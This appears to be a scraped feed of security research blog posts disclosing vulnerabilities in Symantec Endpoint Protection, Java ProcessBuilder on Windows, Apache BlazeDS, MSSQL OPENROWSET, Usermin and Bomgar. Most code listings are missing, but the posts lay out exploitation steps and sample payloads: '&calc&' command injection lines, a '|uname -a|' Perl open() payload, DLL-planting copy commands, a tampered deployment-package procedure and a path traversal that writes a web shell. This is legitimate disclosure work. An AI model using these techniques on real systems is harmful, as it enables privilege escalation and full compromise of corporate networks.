πŸ”’
❌
There are new articles available, click to refresh the page.
Before yesterdaycode white | Blog

Compromised by Endpoint Protection: Legacy Edition

23 February 2016 at 13:50

The previous disclosure of the vulnerabilities in Symantec Endpoint Protection (SEP) 12.x showed that a compromise of both the SEP Manager as well as the managed clients is possible and can have a severe impact on a whole corporate environment.

Unfortunately, in older versions of SEP, namely the versions 11.x, some of the flawed features of 12.x weren’t even implemented, e. g., the password reset feature. However, SEP 11.x has other vulnerabilities that can have in the same impact.

Vulnerabilities in Symantec Endpoint Protection 11.x

The following vulnerabilities have been discovered in Symantec Endpoint Protection 11.x:

SEP Manager
SQL Injection
Allows the execution of arbitrary SQL on the SQL Server by unauthenticated users.
Command Injection
Allows the execution of arbitrary commands with 'NT Authority\SYSTEM' privileges by users with write acceess to the database, e. g., via the before-mentioned SQL injection.
SEP Client
Binary Planting
Allows the execution of arbitrary code with 'NT Authority\SYSTEM' privileges on SEP clients running Windows by local users.

As SEP 11.x is out of support since early 2015 and Symantec won’t provide a patch, you are highly advised to upgrade to 12.1.

SEP Manager

SQL Injection

The AgentRegister operation of the AgentServlet is vulnerable to SQL injections within the HardwareKey attribute:

To reach that point, we need to provide a valid DomainID, which can be retrieved from a SEP client installation from the SyLink.xml file located in C:\ProgramData\Symantec\Symantec Endpoint Protection\CurrentVersion\Data\Config.

Exploiting this vulnerability is a little more complicated. For example, changing a SEPM administrator user’s password requires the manipulation of a configuration stored as an XML document in the database.

The administrative users are stored in the SemConfigRoot document in the basic_metadata table with the hard-coded ID B655E64D0A320801000000E164041B79. An administrator entry might look like this:

The complicated part is that this configuration document is crucial for the whole SEPM. Any changes resulting in an invalid XML document result in a denial of service. That’s why it’s important that any change results in a valid document as well.

So how can we modify that document to our advantages?

The stored PasswordHash is simply the MD5 of the password in hexadecimal representation. So replacing that attribute value with a new one would allow us to login with that password.

But we neither know the current PasswordHash value (obviously!) nor any other attribute value that we can use as an anchor point for the string manipulate.

However, we know other parts of the SemAdministrator element that we can use. For example, if we replace ' PasswordHash=' by ' PasswordHash="[…]" OldPasswordHash=', we can set our own PasswordHash value while being able to reverse the operation by replacing ' PasswordHash="[…]" OldPasswordHash=' by ' PasswordHash=':

Here we first do the reverse operation in line 14 before updating the PasswordHash value with ours in line 15 to avoid accidentally creating an invalid document in the case the update is executed multiple times.

There may also be other attributes that needs to be modified like the Name or AuthenticationMethod for local instead of RSA SecureId or Directory authentication.

The reset would be just doing the reverse operation on the XML document:

Now we can log into the SEPM and could exploit CVE-2015-1490 to upload arbitrary files to the SEPM server, resulting in the execution of arbitrary code with 'NT Authority\SYSTEM' privileges.

If changing the admin password does not work for some reasons, you can also use the SQL injection to exploit the command injection described next.

Command Injection

From the previous blog post on Java and Command Line Injections in Windows we know that injecting additional arguments and even commands may be possible in Java applications on Windows, even when ProcessBuilder is utilized.

SEPM does create processes only in a few locations but even less seem promising and can be triggered. The SecurityAlertNotifyTask class is one of them, which processes security alerts from the database, which we can modify with the SQL injection.

The notification tasks are stored in the notification table. For manipulating the command line, we need to reach the doRunExecutable(String) method. This happens if the notification.email contains batchfile. The executable to call is taken from notification.batch_file_name. However, only existing files from the C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin directory can be specified.

The next problem is to find a way to manipulate arguments used in the building of the command line. The only additional argument passed is the parameter of the doRunExecutable method. Unfortunately, the values passed are notification messages originating from a properties file and most of them are parameterized with integers only.

However, the notification message for a new virus is parameterized with the name of the new virus, which originates from the database as well. So if we register a new virus with our command line injection payload as the virus name and register a new security alert notification, the given batch file would be called with the predefined notification message containing the command line injection. And since .bat files are silently started in a cmd.exe shell environment, it should be easy to get a calc.

The following SQL statements set up the mentioned security alert notification scenario:

The resulting CreateProcess command line is:


C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin\dbtools.bat" "New risk found: "&calc&".""

And the command line interpreted by cmd.exe is:


"C:\Program Files (x86)\Symantec\Symantec Endpoint Protection Manager\bin\dbtools.bat" "New risk found: "&calc&"."

And there we have a calc.

SEP Client

Binary Planting

The Symantec AntiVirus service process Rtvscan.exe of the SEP client is vulnerable to Binary Planting, which can be exploited for local privilege escalation. During the collection of version information of installed engines and definitions, the process is looking for a SyKnAppS.dll in C:\ProgramData\Symantec\SyKnAppS\Updates and loading it if present. This directory is writable by members of the built-in Users group:

The version information collection can be triggered in the SEP client GUI via Help and Support, Troubleshooting..., then Versions. To exploit it, we place our DLL into the C:\ProgramData\Symantec\SyKnAppS\Updates directory. But before that, we need to place the original SyKnAppS.dll from the parent directory in there and trigger the version information collection once as SEP does some verification of the DLL before loading but only once and not each time:

  • Copy genuine SyKnAppS.dll to Updates:
    copy C:\ProgramData\Symantec\SyKnAppS\SyKnAppS.dll C:\ProgramData\Symantec\SyKnAppS\Updates\SyKnAppS.dll
  • Trigger version information collection via Help and Support, Troubleshooting..., then Versions.
  • Copy custom SyKnAppS.dll to Updates:
    copy C:\Users\john\Desktop\SyKnAppS.dll C:\ProgramData\Symantec\SyKnAppS\Updates\SyKnAppS.dll
  • Trigger version information collection again.

The service is running with 'NT Authority\SYSTEM' privileges.

Java and Command Line Injections in Windows

4 February 2016 at 16:03

Everyone knows that incorporating user provided fragments into a command line is dangerous and may lead to command injection. That’s why in Java many suggest using ProcessBuilder instead where the program’s arguments are supposed to be passed discretely in separate strings.

However, in Windows, processes are created with a single command line string. And since there are different and seemingly confusing parsing rules for different runtime environments, proper quoting seems to be likewise complicated.

This makes Java for Windows still vulnerable to injection of additional arguments and even commands into the command line.

Windows’ CreateProcess Command Lines

In Windows, the main function for creating processes is the CreateProcess function. And in contrast to C API functions like execve, arguments are not passed separately as an array of strings but in a single command line. On the other side, the entry point function WinMain expects a single command line argument as well.

This circumstance requires the program to parse the command line itself for extracting the arguments. And although Windows provides a CommandLineToArgvW function and supports C and C++ API entry point functions where arguments are already parsed by the runtime and passed in a argc/argv style, the rules for quoting command line arguments with all their quirks can be quite confusing. And there is no definitive guide on how to quote properly, let alone something like a ArgvToCommandLineW function that does it for you. That’s why many do it wrong, as β€œEveryone quotes command line arguments the wrong way” by Daniel Colascione observes.

You should definitely read the latter two linked pages first to understand the rest of this blog post.

For testing, we’ll use the following Java class, which utilizes ProcessBuilder as suggested:

The resulting CreateProcess command line can be observed with the Windows Sysinternals’ Process Monitor. And for how the command line gets parsed, you can use the following program, which prints the results of both the parsing of C command-line arguments (via the argv function parameter) and of the parsing of C++ command-line arguments (via CommandLineToArgvW function).

This already produces different and frankly surprising results in some cases:

The last two are remarkable as one additional quotation mark swaps the results of argv and CommandLineToArgvW.

Java’s Command Line Generation in Windows

With the knowledge of how CreateProcess expects the command line arguments to be quoted, let’s see how Java builds the command line and quotes the arguments for Windows.

If a process is started using ProcessBuilder, the arguments are passed to the static method start of ProcessImpl, which is a platform-dependent class. In the Windows implementation of ProcessImpl, the start method calls the private constructor of ProcessImpl, which creates the command line for the CreateProcess call.

In the private constructor of ProcessImpl, there are two operational modes: the legacy mode and the strict mode. These are the result of issues caused by changes to Runtime.exec. The legacy mode is only performed if there is no SecurityManager present and the property jdk.lang.Process.allowAmbiguousCommands is not set to false.

The Legacy Mode

In the legacy mode, the first argument (i. e., the program to execute) is quoted if required and then the command line is created using createCommandLine.

The needsEscaping method checks whether the value is already quoted using isQuoted or wraps it in double quotes if it contains certain characters.

The vertification type VERIFICATION_LEGACY passed to needsEscaping makes noQuotesInside in isQuoted being false, which would allow quotation marks within the path. It also makes needsEscaping test for space and tabulator characters only.

But let’s take a look at the createCommandLine method, which creates the command line:

Again, with the verification type VERIFICATION_LEGACY the needsEscaping method only returns true if it is already wrapped in quotes (regardless of any quotes within the string) or if it is not wrapped in quotes and contains a space or tabulator character (again, regardless of any quotes within the string). If it needs quoting, it is simply wrapped in quotes and a possible trailing backslash is doubled.

Ok, so far, so good. Now let’s recall Daniel Colascione’s conclusion:

Do not:

  1. Simply add quotes around command line argument arguments without any further processing.
  2. […]

Yes, exactly. This can be exploited to inject additional arguments:

  • A value that is considered to be quoted:
    • passed argument value: "arg 1" "arg 2" "arg 3"
    • quoted argument value: no quoting needed as it’s β€œalready quoted”
    • parsed argument values: ['arg 1', 'arg 2', 'arg 3']
  • A value that is considered to be not quoted but requires quotes:
    • passed argument value: "arg" 1" "arg 2" "arg 3
    • quoted argument value: ""arg" 1" "arg 2" "arg 3"
    • parsed argument values: ['arg 1', 'arg 2', 'arg 3']

The Strict Mode

In the strict mode, things are a little different.

If the path contains a quote, getExecutablePath throws an exception and the catch block is executed where getTokensFromCommand tries to extract the path.

However, the rather interesting part is that createCommandLine is called with a different verification type based on whether isShellFile denotes it as a shell file.

But I’ll come back to that later.

With the verification type VERIFICATION_WIN32, noQuotesInside is still false and both injection examples mentioned above work as well.

However, if needsEscaping is called with the verification type VERIFICATION_CMD_BAT, noQuotesInside becomes true. And without being able to inject a quote we can’t escape the quoted argument.

CreateProcess’ Silent cmd.exe Promotion

Remember the isShellFile checked the file name extension for .cmd and .bat? This is due to the fact that CreateProcess executes these files in a cmd.exe shell environment:

[…] the decision tree that CreateProcess goes through to run an image is as follows:

  • […]
  • If the file to run has a .bat or .cmd extension, the image to be run becomes Cmd.exe, the Windows command prompt, and CreateProcess restarts at Stage 1. (The name of the batch file is passed as the first parameter to Cmd.exe.)
  • […]

β€” Windows Internals, 6th edition (Part 1)

That means a 'file.bat …' becomes 'C:\Windows\system32\cmd.exe /c "file.bat …"' and an additional set of quoting rules would need to be applied to avoid command injection in the command line interpreted by cmd.exe.

However, since Java does no additional quoting for this implicit cmd.exe call promotion on the passed arguments, injection is even easier: &calc& does not require any quoting and will be interpreted as a separate command by cmd.exe.

This works in the legacy mode just like in the strict mode if we make isShellFile return false, e. g., by adding whitespace to the end of the path, which tricks the endsWith check but are ignored by CreateProcess.

Conclusion

Command line parsing in Windows is not consistent and therefore the implementation of proper quoting of command line argument even less. This may allow the injection of additional arguments.

Additionally, since CreateProcess implicitly starts .bat and .cmd in a cmd.exe shell environment, even command injection may be possible.

As a sample, Java for Windows fails to properly quote command line arguments. Even with ProcessBuilder where arguments are passed as a list of strings:

  • Argument injection is possible by providing an argument containing further quoted arguments, e. g., '"arg 1" "arg 2" "arg 3"'.
  • On cmd.exe process command lines, a simple '&calc&' alone suffices.

Only within the most strictly mode, the VERIFICATION_CMD_BAT verification type, injection is not possible:

  • Legacy mode:
    • VERIFICATION_LEGACY: There is no SecurityManager present and jdk.lang.Process.allowAmbiguousCommands is not explicitly set to false (no default set)
      • allows argument injection
      • allows command injection in cmd.exe calls (explicit or implicit)
  • Strict mode:
    • VERIFICATION_CMD_BAT: Most strictly mode, file ends with .bat or .cmd
      • does not allow argument injection
      • does not allow command injection in cmd.exe calls
    • VERIFICATION_WIN32: File does not end with .bat or .cmd
      • allows argument injection
      • allows command injection in cmd.exe calls (explicit or implicit)

However, Java’s check for switching to the VERIFICATION_CMD_BAT mode can be circumvented by adding whitespace after the .bat or .cmd.

CVE-2015-3269: Apache Flex BlazeDS XXE Vulnerabilty

24 August 2015 at 11:23

In a recent Product Security Review, Code White Researchers discovered a XXE vulnerability in Apache Flex BlazeDS/Adobe (see ASF Advisory). The vulnerable code can be found in the BlazeDS Remoting/AMF protocol implementation.

All versions before 4.7.1 are vulnerable. Software products providing BlazeDS Remoting destinations might be also affected by the vulnerability (e.g. Adobe LiveCycle Data Services, see APSB15-20).

Vulnerability Details

An AMF message has a header and a body. To parse the body, the method readBody() of AmfMessageDeserializer is called. In this method, the targetURI, responseURI and the length of the body are read. Afterwards, the method readObject() is called which eventually calls the method readObject() of an ActionMessageInput instance (either Amf0Input or Amf3Input).

In case of an Amf0Input instance, the type of the object is read from the next byte. If type has the value 15, the following bytes of the body are parsed in method readXml() as a UTF string.

The xml string gets passed to method stringToDocument of class XMLUtil where the Document is created using the DocumentBuilder.

When a DocumentBuilder is created through the DocumentBuilderFactory, external entities are allowed by default. The developer needs to configure the parser to prevent XXE.

Exploitation

Exploitation is easy, just send the XXE vector of your choice.

Compromised by Endpoint Protection

31 July 2015 at 06:23

In a recent research project, Markus Wulftange of Code White discovered several critical vulnerabilities in the Symantec Endpoint Protection (SEP) suite 12.1, affecting versions prior to 12.1 RU6 MP1 (see SYM15-007).

As with any centralized enterprise management solution, compromising a management server is quite attractive for an attacker, as it generally allows some kind of control over its managed clients. Taking control of the manager can yield a takeover of the whole enterprise network.

In this post, we will take a closer look at some of the discovered vulnerabilities in detail and demonstrate their exploitation. In combination, they effectively allow an unauthenticated attacker the execution of arbitrary commands with 'NT Authority\SYSTEM' privileges on both the SEP Manager (SEPM) server, as well as on SEP clients running Windows. That can result in the full compromise of a whole corporate network.

Vulnerabilities in Symantec Endpoint Protection 12.1

Code White discovered the following vulnerabilities in Symantec Endpoint Protection 12.1:

SEP Manager
Authentication Bypass (CVE-2015-1486)
Allows unauthenticated attackers access to SEPM
Mulitple Path Traversals (CVE-2015-1487, CVE-2015-1488, CVE-2015-1490)
Allows reading and writing arbitrary files, resulting in the execution of arbitrary commands with 'NT Service\semsrv' privileges
Privilege Escalation (CVE-2015-1489)
Allows the execution of arbitrary OS commands with 'NT Authority\SYSTEM' privileges
Multiple SQL Injections (CVE-2015-1491)
Allows the execution of arbitrary SQL
SEP Clients
Binary Planting (CVE-2015-1492)
Allows the execution of arbitrary code with 'NT Authority\SYSTEM' privileges on SEP clients running Windows

The objective of our research was to find a direct way to take over a whole Windows domain and thus aimed at a full compromise of the SEPM server and the SEP clients running on Windows. Executing post exploitation techniques, like lateral movement, would be the next step if the domain controller hasn't already been compromised by this.

Therefore, we focused on SEPM's Remote Java or Web Console, which is probably the most exposed interface (accessible via TCP ports 8443 and 9090) and offers most of the functionalities of SEPM's remote interfaces. There are further entry points, which may also be vulnerable and exploitable to gain access to SEPM, its server, or the SEP clients. For example, SEP clients for Mac and Linux may also be vulnerable to Binary Planting.

Attack Vector and Exploitation

A full compromise of the SEPM server and SEP clients running Windows was possible through the following steps:

  1. Gaining administrative access to the SEP Manager (CVE-2015-1486)
  2. Full compromise of SEP Manager server (CVE-2015-1487 and CVE-2015-1489)
  3. Full compromise of SEP clients running Windows (CVE-2015-1492)

CVE-2015-1486: SEPM Authentication Bypass

SEPM uses sessions after the initial authentication. User information is stored in a AdminCredential object, which is associated to the user's session. Assigning the AdminCredential object to a session is implemented in the setAdminCredential method of ConsoleSession, which again holds an HttpSession object.

This setAdminCredential method is only called at two points within the whole application: once in the LoginHandler and once in the ResetPasswordHandler.

Its purpose in LoginHandler is obvious. But why is it used in the ResetPasswordHandler? Let's have a look at it!

Password reset requests are handled by the ResetPasswordHandler handler class. The implementation of the handleRequest method of this handler class can be observed in the following listing:

After the prologue in lines 72-84, the call to the init method calls the findAdminEmail method for looking up the recipient's e-mail address.

Next, the getCredential method is called in line 92 to retrieve the AdminCredential object of the corresponding administrator. The AdminCredential object holds information on the administrator, e. g., if it's a system administrator or a domain administrator as well as an instance of the SemAdministrator class, which finally holds information such as the name, e-mail address, and hashed password of the administrator.

The implementation of the getCredential method can be seen in the following listing:

Line 367 creates a new session, which effectively results in issuing a new JSESSIONID cookie to the client. In line 368, the doGetAdminCredentialWithoutAuthentication method is called to get the AdminCredential object without any authentication based on the provided UserID and Domain parameters.

Finally – and fatally –, the looked up AdminCredential object is associated to the newly created session in line 369, making it a valid and authentic administrator's session. This very session is then handed back to the user who requested the password reset. So by requesting a password reset, you'll also get an authenticated administrator's session!

An example of what a request for a password reset for the built-in system administrator 'admin' might look like can be seen in the following listing:

And the response to the request:

The response contains the JSESSIONID cookie of the newly created session with the admin's AdminCredential object associated to it.

Note that this session cannot be used with the Web console as it is missing some attribute required for AjaxSwing. However, it can be used to communicate with the other APIs like the SPC web services, which, for example, allows creating a new SEPM administrator.

CVE-2015-1487: SEPM Arbitrary File Write

The UploadPackage action of the BinaryFile handler is vulnerable to path traversal, which allows arbitrary files to be written. It is implemented by the BinaryFileHandler handler class. Its handleRequest method handles the requests and the implementation can be observed in the following listing:

Handling of the UploadPackage action starts at line 189. The PackageFile parameter value is used as file name and the KnownHosts parameter value as directory name. Interestingly, the provided directory name is checked for path traversal by looking for directory separators '/' and '\' (see line 196, possibly related to CVE-2014-3439). However, the file name is not, which still allows to specify any arbitrary file location.

The following request results in writing the given POST request body data to the file located at '[…]\Symantec\Symantec Endpoint Protection Manager\tomcat\webapps\ROOT\exec.jsp':

Writing a JSP web shell as shown allows the execution of arbitrary OS commands with 'NT Service\semsrv' privileges.

CVE-2015-1489: SEPM Privilege Escalation

The Symantec Endpoint Protection Launcher executable SemLaunchSvc.exe is running as a service on the SEPM server with 'NT Authority\SYSTEM' privileges. It is used to launch processes that require elevated privileges (e. g., LiveUpdate, ClientRemote, etc.). The service is listening on the loopback port 8447 and SEPM communicates with the service via encrypted messages. The communication endpoint in SEPM is the SemLaunchService class. One of the supported tasks is the CommonCMD, which results in command line parameters of a cmd.exe call.

Since we are able to execute arbitrary Java code within SEPM's web server context, we can effectively execute commands with 'NT Authority\SYSTEM' privileges on the SEPM server.

CVE-2015-1492: SEP Client Binary Planting

The client deployment process on Windows clients is vulnerable to Binary Planting. It is an attack exploiting the behavior of how Windows searches for files of dynamically loaded libraries when loading them via LoadLibrary only by their name. If it is possible for an attacker to place a custom DLL in one of the locations the DLL is searched in, it is possible to execute arbitrary code with the DllMain entry point function, which gets executed automatically on load.

Symantec Endpoint Protection is vulnerable to this flaw: During the installation of a deployment package on a Windows client, the SEP client service ccSvcHst.exe starts the smcinst.exe from the installation package as a service. This service tries to load several DLLs, e. g., the UxTheme.dll.

By deploying a specially crafted client installation package with a custom DLL, it is possible to execute arbitrary code with 'NT Authority\SYSTEM' privileges.

A custom installation package containing a custom DLL can be constructed and deployed in SEPM with the following steps.

Export Package
Download an existing client installation package for Windows as a template:
  • Go to 'Admin', 'Installation Packages'.
  • Select a directory where you want to export it to.
  • Select one of the existing packages for Windows and click on 'Export a Client Installation Package'.
  • Untick the 'Create a single .EXE file for this package'.
  • Untick the 'Export packages with policies from the following groups'.
  • Click 'OK'.
Modify Package
Tamper with the client installation package template:
  • Within the downloaded installation package files, delete the packlist.xml file.
  • Open the setAid.ini file, delete the PackageChecksum line and increase the values of ServerVersionand ClientVersion to something like 12.2.0000 instead of 12.1.5337.
  • Open the Setup.ini file and increase the ProductVersion value accordingly.
  • Copy the custom DLL into the package directory and rename it UxTheme.dll.
Import and deploy Package
Create a new client installation package from the tampered files and deploy it to the clients:
  • Go to 'Admin', 'Installation Packages'.
  • Click 'Add a Client Installation Package'.
  • Give it a name, select the directory of the tampered client installation package files, and upload it.
  • Click 'Upgrade Clients with Package'.
  • Choose the newly created client installation package and the group it should be deployed to.
  • Open the 'Upgrade Settings', untick 'Maintain existing client features when upgrading' and select the default feature set for the target group, e. g., 'Full Protection for Clients'.
  • Upgrade the clients by clicking 'Next'.

The loading of the planted binary may take some while, probably due to some scheduling of the smcinst.exe service.

Conclusion

We have successfully demonstrated that a centralized enterprise management solution like the Symantec Endpoint Protection suite is a critical asset in a corporate network as unauthorized access to the manager can have unforeseen influence on the managed clients. In this case, an exposed Symantec Endpoint Protection Manager can result in the full compromise of a whole corporate domain.

Reading/Writing files with MSSQL's OPENROWSET

9 June 2015 at 13:19

Unfortunately, Microsoft SQL Server's SQL dialect Transact-SQL does not support reading and writing files in an easy way as opposed to MySQL's LOAD_FILE() function and INTO OUTFILE clause.

Of course, with xp_cmdshell being enabled, you can read and write files using OS commands. However, one is not always blessed with the CONTROL SERVER permission, which is generally only granted with the sysadmin role. But if you happen to have the ADMINISTER BULK OPERATIONS permission (implied by the bulkadmin role), then OPENROWSET is a viable option for both reading and writing files.

Granted, using OPENROWSET for reading and writing files is nothing new. However, all examples for writing files that I have seen so far require the access to remote OLE DB providers being enabled, which is controlled by the ad hoc distributed queries configuration option, which is disabled by default. And changing and reconfiguring any configuration option requires ALTER SETTINGS permissions (implied by the sysadmin and serveradmin roles), which are not always available. And, well, in case of the sysadmin role, you could just as well use xp_cmdshell.

So the technique for writing files demonstrated here is a little different as it exploits a side-effect of OPENROWSET, which just requires ADMINISTER BULK OPERATIONS permission. It also does not require any temporary table or whatsoever; everything can be performed in a sub-query.

Checking Prerequisites

For looking up whether the current user has ADMINISTER BULK OPERATIONS permissions, you can use the HAS_PERMS_BY_NAME() function:

The the result should be 1.

Reading Files

Reading a file is pretty straight forward. When OPENROWSET is referenced in the FROM clause, it allows reading from the given file through a built-in BULK provider and returns it as a rowset. The following SELECT reads the C:\Windows\win.ini file and returns a rowset of one single character LOB:

This, of course, can also be used to leak hashes for pass-the-hash.

Writing Files

Writing to a file is a little more difficult. The common approach with OPENROWSET only is calling an external OLE DB provider. But this generally requires ad hoc distributed queries being enabled and has certain caveats like restriction to certain output formats depending on the selected OLE DB provider (e. g., CSV), previous existence of the output file, registration of linked servers, etc.

However, there is a way of writing arbitrary data to an arbitrary file without any of these restrictions or prerequisites by exploiting a side-effect of OPENROWSET.

The feature that is being exploited is the error reporting feature. The reference states the purpose of the ERRORFILE argument as follows:

ERRORFILE = 'file_name'
Specifies the file used to collect rows that have formatting errors and cannot be converted to an OLE DB rowset. These rows are copied into this error file from the data file "as is."

So any erroneous record from the input is directly written to the given error file as is.

The following SELECT reads from \\192.168.13.37\share\input.txt with the format specified in \\192.168.13.37\share\input.fmt and writes to C:\Inetpub\wwwroot\hello.aspx:

The input file input.txt has the following contents:

The non-XML format file input.fmt specifies one single column named BulkColumn of type CHAR with the length of 1 character (fourth column) and the last character in our input file (i. e., >) as terminator:

Since we specified the length with just one byte, a truncation error occurs and the whole record up to and including the final terminator (i. e., >) gets written to the error file:

Msg 4863, Level 16, State 1, Line 1
Bulk load data conversion error (truncation) for row 1, column 1 (BulkColumn).

For binary files, the XML format seems to be better as you can specify the length for both the field input and the column output and don't need a terminator. The following format file input.xml allows writing binary data up to 512 kB:

The length seems to be irrelevant and it certainly raises a data conversion error due to the binary data, resulting in writing the entire data to the error file.

CVE-2015-2079: Arbitrary Command Execution in Usermin

20 May 2015 at 12:56

While performing a penetration test for a customer, I stumbled across a command execution vulnerability in Usermin that is pretty trivial to identify and to exploit. The interesting part is that this vulnerability survived for almost 13 years.

Introduction

According to the Usermin Homepage:

Usermin is a web-based interface for webmail, password changing, mail filters, fetchmail and much more. It is designed for use by regular non-root users on a Unix system, and limits them to tasks that they would be able to perform if logged in via SSH or at the console.

Therefore, Usermin can be seen as a web alternative for interactive machine access as a specific system user. But often times in real environments, Usermin is used to limit the user's rights to perform specific actions via the web, for example as a webmailer only. In this case, arbitrary command execution is definitely not a desired feature.

Nonetheless, enter CVE-2015-2079, which affects Usermin versions 0.980 (dating back to 2002-12-16) until 1.650 (latest unpatched version of 2015-02-16) by exploiting a specific behavior of Perl's open() function.

Summary

An authenticated user of Usermin can specify the path to an arbitrary file on the server that should be attached to any new email as a signature via the Signature file configuration in the Other file option.

This is due to the function get_signature in usermin/mailbox/mailbox-lib.pl, which calls open() without any prior validation:

For what it's worth, that alone poses a vulnerability. But according to an old bug report dating back to 2005, this is not a bug but a feature:

This is not really a bug, as normal Unix file permissions still apply, so really critical files like /etc/shadow cannot be used as a signature. Also, the feature for attaching server-side files could be used in the same way

Besides that, due to some specific behavior of the Perl function used to open the user specified file, it is possible to provide and execute shell commands.

Vulnerability Details

Perl's open() function can not just open regular files. If it gets called with just two arguments (i. e., open FILEHANDLE,EXPR), the second argument allows to specify additional behavior via prefixes and suffixes.

For example, the open mode can be specified with the prefix < for reading, > for writing to, or >> for appending to the file. And with the prefix or suffix | it is possible to start interprocess communication:

Perl's basic open() statement can also be used for unidirectional interprocess communication by either appending or prepending a pipe symbol to the second argument to open().

Since Usermin's call to open() uses the two arguments form, we can provide a shell command enclosed in pipes as the Signature file to execute the provided command whenever the user composes a new email and output is shown within the message text window or when the user edits the signature.

Example request as proof-of-concept with a sig_file_free parameter of value |uname -a| which gets sent to /uconfig_save.cgi by a POST request to usermin like this:

Now that the config file of the subsequent user is changed (see sig_file in ~/.usermin/mailbox/config), a GET request to /mailbox/reply_mail.cgi "includes" the evaluation of uname -a in the response in the textarea:

Similarily, the code can be triggered via a GET request to /mailbox/edit_sig.cgi:

There is also a handy proof-of-concept metasploit module for linux for your convenience.

The Fix

The Usermin developers fixed this vulnerability in version 1.660. Although the Usermin changelog does not mention it, the diff between the Usermin versions 1.650 and 1.660 shows that they chose to use the Webmin's custom open_readfile() function instead of Perl's built-in open() function, which basically prepends the given file path with < to open the file in read mode.

However, reading arbitrary files on the server is still possible.

Timeline

  • 2015-02-23: Identification of vulnerability
  • 2015-02-24: Details sent to Usermin developer
  • 2015-02-24: Acknowledge from Usermin developer, will be fixed in next version
  • 2015-02-25: Assignment of CVE-2015-2079 via [email protected]
  • 2015-03-16: Request for status update from Usermin developer
  • 2015-03-16: Answer: fixed version "Probably a couple of weeks" away
  • 2015-05-08: Request for status update from Usermin developer
  • 2015-05-08: Answer: fixed version aimed for next week
  • 2015-05-13: Patched Usermin version 1.660 released (without mentioning the bug)
  • 2015-05-20: Full disclosure 7 days after patch release

CVE-2015-0935: PHP Object Injection in Bomgar Remote Support Portal

8 May 2015 at 18:48

Serialization is often used to convert objects into a string representation for communication or to save them for later use. However, deserialization in PHP has certain side-effects, which can be exploited by an attacker who is able to provide the data to be deserialized.

This post will give you an insight on the deserialization of untrusted data vulnerability in the Bomgar Remote Support Portal 14.3.1 (US CERT VU#978652, CVE-2015-0935), which is part of Bomgar's appliance-based remote support software. It covers details on the weakness of Deserializion of Untrusted Data (CWE-502) in PHP applications in general, as well as specific details on the vulnerability and its exploitation in the Bomgar Remote Support Portal 14.3.1.

Note that this post is not about the various bugs in the implementation of the unserialize function itself (see for example Sec Bug #67492, Sec Bug #68594, Sec Bug #68710, and Sec Bug #68942), but about the exploitation on the application level.

Summary

Description from US CERT VU#978652:

Bomgar Remote Support Portal version 14.3.1 and possibly earlier versions deserialize untrusted data without sufficiently verifying the validity of the resulting data. An unauthenticated attacker can inject arbitrary input to at least one vulnerable PHP file, and authenticated attackers can inject arbitrary input to multiple vulnerable PHP files. When malicious data is deserialized, arbitrary PHP code may be executed in the context of the PHP server process.

Vulnerability Details

The PHP function unserialize allows the creation of arbitrary object constructs of any class with arbitrary attributes of almost arbitrary types without any validation. During the deserialization, the lifetime of an object, and the interaction with the object, several methods, including so called magic methods, may get called using these arbitrarily definable attributes. An attacker may be able to utilize the functionality provided within these called methods to his benefit. For more information on deserialization in PHP, have a look at Serialization in the PHP Internals Book and Writing Exploits For Exotic Bug Classes: unserialize() by Stephen Coty of Alert Logic.

In Bomgar Remote Support Portal 14.3.1, unserialize is called several times with user provided data, among them there is one which can be called by an unauthenticated user.

Exploitation

The most challenging part of exploiting such a vulnerability is finding appropriate classes with effects beneficial for an attacker. Therefore, it solely depends on the available classes. If there are no classes with beneficial effects available, it is not exploitable.

Fortunately, there is at least one in Bomgar Remote Support Portal 14.3.1!

One way to exploit this vulnerability is by utilizing the Tracer class. It is used to write stack trace information to a log using a Logger instance, which wraps an instance of PEAR's Log class. By using a Log_file instance as an instance of Log, it is possible to write the arbitrary data <payload> to the arbitrary file <destination>.

A corresponding serialized representation of such an object construct may look like this (\0 represents a NUL byte):

Writing the data to the specified location is triggered by the log method call in the destructor of the Tracer class.

And this is what happens behind the curtain:

  • unserialize creates an instance of the Tracer class, the Logger class, and the Log_file class with the following structure (only relevant members are shown):
  • At the end of the runtime of the request, PHP calls the destructor __destruct of our Tracer object, which eventually calls the log method of the Log_file class with the following behavior:
    • The file specified in _filename gets opened in write mode, if not already opened (line 285-287)
    • The format of the line to be written to the log is specified by _lineFormat, i. e. our <payload> (line 293-295)
    • The log line gets written to the specified log file (line 303)

By injecting a Tracer object as specified, arbitrary data can be written or appended to an arbitrary file.

Additional Information on Exploitation

If the document root location of the web server is unknown, one can utilize PHP's autoload functionality, which allows the inclusion of a '*.php' file from any location as long as the path can be expressed in a class name with '_' instead of '/'.

For example, the deserialization of the following object representation would result in the local file inclusion of '/tmp/poc.php':

The exploitation can then be performed with two serialized objects:

  1. Writing a PHP payload to a known location like '/tmp/poc.php' using the Tracer object structure as mentioned above.
  2. Loading and executing the written PHP payload using an object with the class name like '_tmp_poc' as mentioned above.

Most of the vulnerable unserialize calls are only accessible after successful authentication. However, one is accessible without prior authentication; this requires a particular access token but can also be retrieved without authentication. I leave this as a challenge to the reader. ;-)

Course of events and 'cooperation' with Bomgar

The whole process of the disclosure of this vulnerability took longer than expected: The initial report submission of the vulnerability to US CERT was on 2014-11-14. They instantly replied that they wanted me to first contact Bomgar directly. So I wrote an e-mail to [email protected], asking for a contact person for a confidential disclosure of the vulnerability details. After one week without any reply, I asked US CERT on 2014-11-23 to do the coordination.

Fast forward: on 2015-02-12 I got an answer from US CERT, stating that they have established a contact at Bomgar. This was already 90 days after the initial report.

Immediately after that, I got contacted by Bomgar, asking me how I intended to use the vulnerability information. My reply was that I wanted to write this very blog post, which should contain details on the vulnerability and its exploitation in Bomgar Remote Support Portal 14.3.1. Since an exploitation of this kind of vulnerability depends on the available classes and their functionality, I wanted to show some source code snippets of the involved classes and methods. However, Bomgar insisted on not having any copyrighted source code published and also asked me to remove any explicit details on how to reach the unserialize function calls, especially the one accessible without authentication.

[email protected]|sh – Or: Getting a shell environment from Runtime.exec

9 March 2015 at 08:55

If you happen to have command execution via Java's Runtime.exec on a Unix system, you may already have noticed that it doesn't behave like a normal shell. Although simple commands like ls -al, uname -a, or netstat -ant work fine, more complex commands and especially commands with indispensable features like pipes, redirections, quoting, or expansions do not work at all.

